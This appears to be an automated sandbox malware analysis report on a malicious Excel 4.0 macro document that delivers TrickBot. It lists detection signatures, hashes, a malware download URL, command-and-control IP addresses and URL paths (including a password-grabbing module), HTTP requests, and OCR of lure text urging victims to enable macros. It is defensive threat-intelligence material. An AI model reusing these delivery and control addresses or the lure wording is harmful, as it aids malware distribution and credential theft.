Analysis Report SecuriteInfo.com.Exploit.Siggen3.10350.857.28723

Overview

General Information

Sample Name:	SecuriteInfo.com.Exploit.Siggen3.10350.857.28723 (renamed file extension from 28723 to xls)
Analysis ID:	355603
MD5:	983c09da14f7cfb59097c36d2c1f305c
SHA1:	deae262a8a7ed515bda8eb857601396dec55d40a
SHA256:	2fcac0949787f1ef4ddee816a8441660b2dfdbf2c843ac392275c65a906b5b5d
Most interesting Screenshot:

Detection

Hidden Macro 4.0 TrickBot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Document exploit detected (drops PE files)

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Trickbot

Allocates memory in foreign processes

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Found Excel 4.0 Macro with suspicious formulas

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

May check the online IP address of the machine

Office process drops PE file

Sigma detected: Microsoft Office Product Spawning Windows Shell

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Allocates a big amount of memory (probably used for heap spraying)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query network adapater information

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains embedded VBA macros

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara signature match

Classification

Signatures

AV Detection:

Antivirus detection for URL or domain

Source: http://www.chipmania.it/mails/open.php

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	Virustotal: Detection: 11%			Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.10350.857.xls	ReversingLabs: Detection: 23%

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_0007BCA0 CryptAcquireContextW,

6_2_0007BCA0

Compliance:

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 142.202.191.164:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 36.94.62.207:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 36.94.62.207:443 -> 192.168.2.22:49176 version: TLS 1.0

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Source:

Binary string: F:\projects\cryptor_beta\Bin\Crypter\CrypterDllReleaseNoLogs\Win32\Crypter.pdb source: rundll32.exe, 00000004.00000002.2092653960.000000006E849000.00000002.00020000.sdmp, BASE.BABAA.0.dr

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061290 FindFirstFileW,	6_2_00061290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000646F0 FindFirstFileW,FindNextFileW,	6_2_000646F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007FBB0 FindFirstFileW,SleepEx,FindNextFileW,	6_2_0007FBB0

Software Vulnerabilities:

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: 10[1].jjkes.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Jump to behavior

Allocates a big amount of memory (probably used for heap spraying)

Source: excel.exe

Memory has grown: Private usage: 4MB later: 60MB

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000784E0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000789B0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx ecx, word ptr [eax+02h]	6_2_00069200
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then mov ecx, 00004E20h	6_2_00082659
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx edx, word ptr [eax]	6_2_000646F0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc dword ptr [esp+40h]	6_2_000743C0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000743C0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00072C44
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc ecx	6_2_0007B050
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00073860
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec ecx	6_2_00081890
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00081890
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000698D0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc esp	6_2_000624E0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then cmp byte ptr [ecx+edx+01h], 00000000h	6_2_00061500
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_00065DF0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx eax, byte ptr [ebx]	6_2_0007BE20
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc esp	6_2_0007B240
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then dec eax	6_2_000772A0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then inc edx	6_2_0006BEC0
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then movzx ebx, word ptr [eax]	6_2_00073B00
Source: C:\Windows\System32\wermgr.exe	Code function: 4x nop then mov ebx, edx	6_2_0006EBE0

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: www.chipmania.it

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49168 -> 142.202.191.164:443

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 185.81.0.78:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 192.168.2.22:49168 -> 142.202.191.164:443
Source: Traffic	Snort IDS: 2404330 ET CNC Feodo Tracker Reported CnC Server TCP group 16 192.168.2.22:49174 -> 36.94.62.207:443
Source: Traffic	Snort IDS: 2404300 ET CNC Feodo Tracker Reported CnC Server TCP group 1 192.168.2.22:49177 -> 103.61.101.11:447

May check the online IP address of the machine

Source: unknown	DNS query: name: wtfismyip.com
Source: unknown	DNS query: name: wtfismyip.com
Source: unknown	DNS query: name: wtfismyip.com
Source: unknown	DNS query: name: wtfismyip.com

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.22:49177 -> 103.61.101.11:447

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 103.61.101.11 103.61.101.11
Source: Joe Sandbox View	IP Address: 142.202.191.164 142.202.191.164
Source: Joe Sandbox View	IP Address: 95.217.228.176 95.217.228.176

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: ELXIREDATA-AS-INELXIREDATASERVICESPVTLTDIN ELXIREDATA-AS-INELXIREDATASERVICESPVTLTDIN
Source: Joe Sandbox View	ASN Name: DYNUUS DYNUUS

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 8c4a22651d328568ec66382a84fc505f

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: GET /mails/open.php HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.chipmania.itConnection: Keep-Alive

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown	HTTPS traffic detected: 142.202.191.164:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 36.94.62.207:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 36.94.62.207:443 -> 192.168.2.22:49176 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 194.5.249.156
Source: unknown	TCP traffic detected without corresponding DNS query: 134.119.186.202
Source: unknown	TCP traffic detected without corresponding DNS query: 134.119.186.202
Source: unknown	TCP traffic detected without corresponding DNS query: 134.119.186.202
Source: unknown	TCP traffic detected without corresponding DNS query: 134.119.186.202
Source: unknown	TCP traffic detected without corresponding DNS query: 134.119.186.202
Source: unknown	TCP traffic detected without corresponding DNS query: 134.119.186.202
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 142.202.191.164
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 103.61.101.11
Source: unknown	TCP traffic detected without corresponding DNS query: 36.94.62.207
Source: unknown	TCP traffic detected without corresponding DNS query: 103.61.101.11
Source: unknown	TCP traffic detected without corresponding DNS query: 103.61.101.11

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /mails/open.php HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.chipmania.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /text HTTP/1.1Connection: Keep-AliveUser-Agent: curl/7.71.0Host: wtfismyip.com

Source: rundll32.exe, 00000003.00000002.2092880736.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091736332.0000000001DC0000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358706265.0000000033930000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353166525.00000000007C0000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: www.chipmania.it

Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: wermgr.exe, 00000006.00000002.2353198555.000000000026D000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.6.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000003.00000002.2092880736.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091736332.0000000001DC0000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358706265.0000000033930000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353166525.00000000007C0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2092880736.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091736332.0000000001DC0000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358706265.0000000033930000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353166525.00000000007C0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2093057362.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091928851.0000000001FA7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358894477.0000000033B17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353380109.00000000009A7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2093057362.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091928851.0000000001FA7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358894477.0000000033B17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353380109.00000000009A7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: wermgr.exe, 00000006.00000002.2358312304.0000000033540000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2353183950.00000000007C0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: wermgr.exe, 00000006.00000002.2359153386.00000000340E0000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: rundll32.exe, 00000003.00000002.2093057362.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091928851.0000000001FA7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358894477.0000000033B17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353380109.00000000009A7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2093057362.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091928851.0000000001FA7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358894477.0000000033B17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353380109.00000000009A7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: wermgr.exe, 00000006.00000002.2358312304.0000000033540000.00000002.00000001.sdmp, taskeng.exe, 00000008.00000002.2353183950.00000000007C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: rundll32.exe, 00000003.00000002.2092880736.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091736332.0000000001DC0000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358706265.0000000033930000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353166525.00000000007C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2093057362.0000000001CF7000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091928851.0000000001FA7000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358894477.0000000033B17000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353380109.00000000009A7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2092880736.0000000001B10000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2091736332.0000000001DC0000.00000002.00000001.sdmp, wermgr.exe, 00000006.00000002.2358706265.0000000033930000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2353166525.00000000007C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000009.00000002.2353166525.00000000007C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: wermgr.exe, 00000006.00000002.2359101614.0000000033E80000.00000004.00000001.sdmp	String found in binary or memory: https://103.61.101.11:447/rob60/971342_W617601.BB08CBD1CB3BE0D331A29013BDDA57AE/5/pwgrab64/
Source: wermgr.exe, 00000006.00000002.2353202046.0000000000272000.00000004.00000020.sdmp	String found in binary or memory: https://36.94.62.207/rob60/971342_W617601.BB
Source: wermgr.exe, 00000006.00000002.2359101614.0000000033E80000.00000004.00000001.sdmp	String found in binary or memory: https://36.94.62.207/rob60/971342_W617601.BB08CBD1CB3BE0D331A29013BDDA57AE/14/NAT%20status/client%20
Source: wermgr.exe, 00000006.00000002.2353152145.000000000020D000.00000004.00000020.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443

System Summary:

Found malicious Excel 4.0 Macro

Source: SecuriteInfo.com.Exploit.Siggen3.10350.857.xls

Initial sample: urlmon

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable editing button from the yellow bar above d 15 16 Once you have enabled editing, please clic
Source: Screenshot number: 4	Screenshot OCR: Enable content button ' ' "==~ " from the yellow bar above 1\| 6~_ 24 25 26 27 28 ' D G) 2
Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enable
Source: Document image extraction number: 0	Screenshot OCR: Enable content butto<

Analysis Report SecuriteInfo.com.Exploit.Siggen3.10350.857.28723

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Cryptography:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary: